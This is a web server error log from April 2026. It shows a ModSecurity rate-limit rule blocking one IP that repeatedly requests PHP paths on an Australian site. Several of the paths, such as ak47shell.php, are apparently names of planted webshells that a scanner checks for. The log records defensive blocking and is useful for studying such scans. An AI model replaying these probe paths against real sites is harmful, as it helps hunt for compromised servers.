[Mon Apr 13 03:12:31.640172 2026] [:error] [pid 31607:tid 31746] [client 20.151.218.28:37727] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/payout.php"] [unique_id "advun2jn_I-KYTWngjJOOgAAAIk"]
[Mon Apr 13 03:12:32.456368 2026] [:error] [pid 32010:tid 32018] [client 20.151.218.28:37835] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uxquidwa.php"] [unique_id "advuoA0nq-t9pXyV1fy-uQAAAMY"]
[Mon Apr 13 03:12:33.022833 2026] [:error] [pid 32010:tid 32014] [client 20.151.218.28:37729] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uxquidwa.php"] [unique_id "advuoQ0nq-t9pXyV1fy-vQAAAMI"]
[Mon Apr 13 03:12:33.582984 2026] [:error] [pid 54671:tid 54699] [client 20.151.218.28:37684] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uxquidwa.php"] [unique_id "advuoWyJMmaONUqF0tCrwQAAARg"]
[Mon Apr 13 03:12:34.382941 2026] [:error] [pid 54671:tid 54683] [client 20.151.218.28:37708] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uxquidwa.php"] [unique_id "advuomyJMmaONUqF0tCrxgAAAQg"]
[Mon Apr 13 03:12:35.019768 2026] [:error] [pid 54671:tid 54694] [client 20.151.218.28:37622] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/combined.php"] [unique_id "advuo2yJMmaONUqF0tCrywAAARM"]
[Mon Apr 13 03:12:35.755399 2026] [:error] [pid 31605:tid 31646] [client 20.151.218.28:37716] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/combined.php"] [unique_id "advuo29Py-Y-9VQ02eHfDwAAAAM"]
[Mon Apr 13 03:12:37.020969 2026] [:error] [pid 31605:tid 31654] [client 20.151.218.28:37664] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/combined.php"] [unique_id "advupW9Py-Y-9VQ02eHfFQAAAAs"]
[Mon Apr 13 03:12:37.516070 2026] [:error] [pid 31606:tid 31710] [client 20.151.218.28:37747] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/combined.php"] [unique_id "advupT9vCsshNhLmCiCOdAAAAEQ"]
[Mon Apr 13 03:12:38.567763 2026] [:error] [pid 31607:tid 31742] [client 20.151.218.28:37666] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mari.php"] [unique_id "advupmjn_I-KYTWngjJORgAAAIU"]
[Mon Apr 13 03:12:39.627428 2026] [:error] [pid 32010:tid 32032] [client 20.151.218.28:37734] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mari.php"] [unique_id "advupw0nq-t9pXyV1fy-yQAAANQ"]
[Mon Apr 13 03:12:40.274412 2026] [:error] [pid 54671:tid 54678] [client 20.151.218.28:37714] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mari.php"] [unique_id "advuqGyJMmaONUqF0tCr2wAAAQM"]
[Mon Apr 13 03:12:40.823424 2026] [:error] [pid 32010:tid 32019] [client 20.151.218.28:37673] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mari.php"] [unique_id "advuqA0nq-t9pXyV1fy-zAAAAMc"]
[Mon Apr 13 03:12:41.512447 2026] [:error] [pid 32010:tid 32016] [client 20.151.218.28:37689] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kodox.php"] [unique_id "advuqQ0nq-t9pXyV1fy-zgAAAMQ"]
[Mon Apr 13 03:12:42.113979 2026] [:error] [pid 32010:tid 32030] [client 20.151.218.28:37672] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kodox.php"] [unique_id "advuqg0nq-t9pXyV1fy-0AAAANI"]
[Mon Apr 13 03:12:42.804127 2026] [:error] [pid 54671:tid 54680] [client 20.151.218.28:37793] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kodox.php"] [unique_id "advuqmyJMmaONUqF0tCr3QAAAQU"]
[Mon Apr 13 03:12:43.423739 2026] [:error] [pid 31605:tid 31643] [client 20.151.218.28:37809] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kodox.php"] [unique_id "advuq29Py-Y-9VQ02eHfIAAAAAA"]
[Mon Apr 13 03:12:43.916862 2026] [:error] [pid 31606:tid 31728] [client 20.151.218.28:37675] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ak47shell.php"] [unique_id "advuqz9vCsshNhLmCiCOfwAAAFY"]
[Mon Apr 13 03:12:44.414540 2026] [:error] [pid 54671:tid 54687] [client 20.151.218.28:37646] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ak47shell.php"] [unique_id "advurGyJMmaONUqF0tCr4wAAAQw"]
[Mon Apr 13 03:12:45.053279 2026] [:error] [pid 54671:tid 54681] [client 20.151.218.28:37687] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ak47shell.php"] [unique_id "advurWyJMmaONUqF0tCr6AAAAQY"]
[Mon Apr 13 03:12:45.636763 2026] [:error] [pid 31607:tid 31759] [client 20.151.218.28:37636] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ak47shell.php"] [unique_id "advurWjn_I-KYTWngjJOTgAAAJY"]
[Mon Apr 13 03:12:46.109020 2026] [:error] [pid 32010:tid 32032] [client 20.151.218.28:37811] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "advurg0nq-t9pXyV1fy-1wAAANQ"]
[Mon Apr 13 03:12:46.539904 2026] [:error] [pid 31605:tid 31664] [client 20.151.218.28:37883] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "advurm9Py-Y-9VQ02eHfJgAAABU"]
[Mon Apr 13 03:12:47.147855 2026] [:error] [pid 31605:tid 31657] [client 20.151.218.28:37833] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "advur29Py-Y-9VQ02eHfJwAAAA4"]
[Mon Apr 13 03:12:47.983981 2026] [:error] [pid 31605:tid 31661] [client 20.151.218.28:37752] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "advur29Py-Y-9VQ02eHfKgAAABI"]
[Mon Apr 13 03:12:48.667097 2026] [:error] [pid 31607:tid 31738] [client 20.151.218.28:37649] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/log404.php"] [unique_id "advusGjn_I-KYTWngjJOVwAAAIE"]
[Mon Apr 13 03:12:49.466474 2026] [:error] [pid 31605:tid 31654] [client 20.151.218.28:37670] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/log404.php"] [unique_id "advusW9Py-Y-9VQ02eHfLgAAAAs"]
[Mon Apr 13 03:12:50.309366 2026] [:error] [pid 54671:tid 54697] [client 20.151.218.28:37756] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/log404.php"] [unique_id "advusmyJMmaONUqF0tCr-QAAARY"]
[Mon Apr 13 03:12:50.969395 2026] [:error] [pid 31607:tid 31739] [client 20.151.218.28:37644] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/log404.php"] [unique_id "advusmjn_I-KYTWngjJOXQAAAII"]
[Mon Apr 13 03:12:51.631947 2026] [:error] [pid 54671:tid 54686] [client 20.151.218.28:37823] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wh.php"] [unique_id "advus2yJMmaONUqF0tCr_wAAAQs"]
[Mon Apr 13 03:12:52.458220 2026] [:error] [pid 32010:tid 32012] [client 20.151.218.28:37661] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wh.php"] [unique_id "advutA0nq-t9pXyV1fy-5QAAAMA"]
[Mon Apr 13 03:12:53.386369 2026] [:error] [pid 31605:tid 31665] [client 20.151.218.28:37601] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wh.php"] [unique_id "advutW9Py-Y-9VQ02eHfNAAAABY"]
[Mon Apr 13 03:12:54.268252 2026] [:error] [pid 31607:tid 31739] [client 20.151.218.28:37660] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wh.php"] [unique_id "advutmjn_I-KYTWngjJOaQAAAII"]
[Mon Apr 13 03:12:55.165344 2026] [:error] [pid 54671:tid 54677] [client 20.151.218.28:37691] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/luf.php"] [unique_id "advut2yJMmaONUqF0tCsBwAAAQI"]
[Mon Apr 13 03:12:56.412751 2026] [:error] [pid 54671:tid 54681] [client 20.151.218.28:37737] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/luf.php"] [unique_id "advuuGyJMmaONUqF0tCsDAAAAQY"]
[Mon Apr 13 03:12:57.975097 2026] [:error] [pid 32010:tid 32015] [client 20.151.218.28:37726] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/luf.php"] [unique_id "advuuQ0nq-t9pXyV1fy-9AAAAMM"]
[Mon Apr 13 03:12:59.573818 2026] [:error] [pid 32010:tid 32022] [client 20.151.218.28:37645] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/luf.php"] [unique_id "advuuw0nq-t9pXyV1fy-_gAAAMo"]
[Mon Apr 13 03:13:00.598619 2026] [:error] [pid 31607:tid 31741] [client 20.151.218.28:37610] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs2.php"] [unique_id "advuvGjn_I-KYTWngjJOcQAAAIQ"]
[Mon Apr 13 03:13:01.916102 2026] [:error] [pid 32010:tid 32023] [client 20.151.218.28:37706] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs2.php"] [unique_id "advuvQ0nq-t9pXyV1fy_CQAAAMs"]
[Mon Apr 13 03:13:03.154578 2026] [:error] [pid 54671:tid 54689] [client 20.151.218.28:37574] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs2.php"] [unique_id "advuv2yJMmaONUqF0tCsJAAAAQ4"]
[Mon Apr 13 03:13:04.436058 2026] [:error] [pid 31605:tid 31650] [client 20.151.218.28:37643] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs2.php"] [unique_id "advuwG9Py-Y-9VQ02eHfTQAAAAc"]
[Mon Apr 13 03:13:06.734162 2026] [:error] [pid 31605:tid 31663] [client 20.151.218.28:37732] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wf.php"] [unique_id "advuwm9Py-Y-9VQ02eHfUQAAABQ"]
[Mon Apr 13 03:13:08.476404 2026] [:error] [pid 54671:tid 54676] [client 20.151.218.28:37758] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wf.php"] [unique_id "advuxGyJMmaONUqF0tCsNwAAAQE"]
[Mon Apr 13 03:13:09.928666 2026] [:error] [pid 54671:tid 54681] [client 20.151.218.28:37582] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wf.php"] [unique_id "advuxWyJMmaONUqF0tCsPQAAAQY"]
[Mon Apr 13 03:13:11.694983 2026] [:error] [pid 32010:tid 32026] [client 20.151.218.28:37683] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wf.php"] [unique_id "advuxw0nq-t9pXyV1fy_KwAAAM4"]
[Mon Apr 13 03:13:13.038922 2026] [:error] [pid 54671:tid 54683] [client 20.151.218.28:37680] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vcard.php"] [unique_id "advuyWyJMmaONUqF0tCsTAAAAQg"]
[Mon Apr 13 03:13:14.249707 2026] [:error] [pid 54671:tid 54676] [client 20.151.218.28:37639] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vcard.php"] [unique_id "advuymyJMmaONUqF0tCsUwAAAQE"]
[Mon Apr 13 03:13:15.043473 2026] [:error] [pid 54671:tid 54692] [client 20.151.218.28:37611] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vcard.php"] [unique_id "advuy2yJMmaONUqF0tCsVgAAARE"]
[Mon Apr 13 03:13:15.991880 2026] [:error] [pid 32010:tid 32017] [client 20.151.218.28:37632] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vcard.php"] [unique_id "advuyw0nq-t9pXyV1fy_PgAAAMU"]
[Mon Apr 13 03:13:17.033078 2026] [:error] [pid 31606:tid 31728] [client 20.151.218.28:37651] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file2.php"] [unique_id "advuzT9vCsshNhLmCiCOkwAAAFY"]
[Mon Apr 13 03:13:18.534143 2026] [:error] [pid 31606:tid 31731] [client 20.151.218.28:37880] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file2.php"] [unique_id "advuzj9vCsshNhLmCiCOmQAAAFg"]
[Mon Apr 13 03:13:20.132008 2026] [:error] [pid 31607:tid 31751] [client 20.151.218.28:37584] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file2.php"] [unique_id "advu0Gjn_I-KYTWngjJOhgAAAI4"]
[Mon Apr 13 03:13:21.480650 2026] [:error] [pid 31606:tid 31720] [client 20.151.218.28:37878] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/file2.php"] [unique_id "advu0T9vCsshNhLmCiCOogAAAE4"]
[Mon Apr 13 03:13:54.928778 2026] [:error] [pid 31607:tid 31754] [client 20.151.218.28:37841] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/XX.php"] [unique_id "advu8mjn_I-KYTWngjJOxwAAAJE"]
[Mon Apr 13 03:13:56.072484 2026] [:error] [pid 32010:tid 32015] [client 20.151.218.28:37872] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/XX.php"] [unique_id "advu9A0nq-t9pXyV1fy_fgAAAMM"]
[Mon Apr 13 03:13:56.732020 2026] [:error] [pid 54671:tid 54687] [client 20.151.218.28:37699] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/XX.php"] [unique_id "advu9GyJMmaONUqF0tCsowAAAQw"]
[Mon Apr 13 03:13:57.272300 2026] [:error] [pid 54671:tid 54689] [client 20.151.218.28:37585] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/XX.php"] [unique_id "advu9WyJMmaONUqF0tCspgAAAQ4"]
